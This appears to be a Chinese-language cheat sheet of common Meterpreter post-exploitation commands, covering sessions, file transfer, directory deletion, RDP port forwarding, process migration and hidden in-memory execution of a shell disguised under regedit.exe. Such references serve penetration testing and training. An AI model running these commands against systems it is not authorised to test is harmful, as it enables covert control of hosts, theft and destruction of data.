1. 程式人生 > >Meterpreter常用命令介紹

Meterpreter常用命令介紹

基本命令

命令 解釋
background 將meterpreter終端隱藏在後臺(快捷鍵ctrl+z)
sessions 檢視已經成功獲得的會話,如果想繼續與某會話互動,可以使用sessions -i 命令.
quit 直接關閉當前的meterpreter會話,返回MSF終端.
shell 獲取目標系統的控制檯shell.
irb 在meterpreter會話與ruby終端互動

檔案系統命令

命令 解釋
cat 檢視檔案內容.
getwd 獲得目標機器上當前的工作目錄,getlwd,這個命令可以獲得當前系統的工作目錄.
upload 可以上傳檔案或資料夾到目標機器上;upload 要上傳的檔案 C:\Users\buzz\Desktop
download 從目標機器上下載檔案或資料夾,注意windows路徑要用雙斜槓進行轉義. download C:\test.txt /root/home/test
edit 呼叫vi編輯器,對目標機器上的檔案進行編輯;edit c:\windows\system32\drivers\etc\hosts
search 可通過search -h檢視幫助資訊,引數-d指定搜尋的起始目錄或驅動,如果為空,將進行全盤搜尋;引數-f指定搜尋的檔案或部分檔名,支援星號()匹配;引數-r遞迴搜尋子目錄 search -d c:\windows -f
.txt
rm 刪除目標機器的檔案.
rmdir /s/q c:\test 進入shell後使用此命令可以刪除目錄下的所有檔案和資料夾,/s表示所有子目錄和檔案/q表示安靜模式,不顯示yes or no.

網路命令

命令 解釋
ipconfig 檢視目標機器網路介面資訊
portfwd 它是meterpreter自帶的埠轉發器,用於把目標機器的埠轉發到本地埠;假設目標機開放了3389埠,使用如下命令將其轉發到本地3456埠:portfwd add -l 3456 -p 3389 -r 192.168.88.110
rdesktop -u 使用者名稱 -p 密碼 ip:埠 連線開啟遠端桌面的windows系統.
route 顯示目標機器的路由資訊.

系統命令

命令 解釋
ps 用於獲得目標主機上正在執行的程序資訊.
migrate pid 將Meterpreter會話從一個程序遷移到另一個程序的記憶體空間中,可以配合ps -ef |grep explorer.exe
execute 在目標機器上執行檔案. execute -H -i -f cmd.exe 直接與cmd進行互動. 引數-H 表示隱藏執行 -i 表示直接與cmd互動.
getpid 獲得當前會話所在程序的PID值.
kill 用於終結指定的PID程序.
getuid 用於獲得執行meterpreter會話的使用者名稱,從而檢視當前會話具有的許可權.
sysinfo 用於得到目標系統的一些資訊,例如機器名,作業系統等
shutdown 用於關閉機器,meterpreter會話會斷開.

另外execute命令的-m引數支援直接從記憶體中執行攻擊者的可執行檔案. execute -H -m -d regedit.exe -f hidden_shell.exe
具體引數介紹:
Executes a command on the remote machine.
OPTIONS:

  • -H Create the process hidden from view.

  • -a The arguments to pass to the command.

  • -c Channelized I/O (required for interaction).

  • -d The ‘dummy’ executable to launch when using -m.

  • -f The executable command to run.

  • -h Help menu.

  • -i Interact with the process after creating it.

  • -k Execute process on the meterpreters current desktop

  • -m Execute from memory.

  • -s Execute process in a given session as the session user

  • -t Execute process with currently impersonated thread token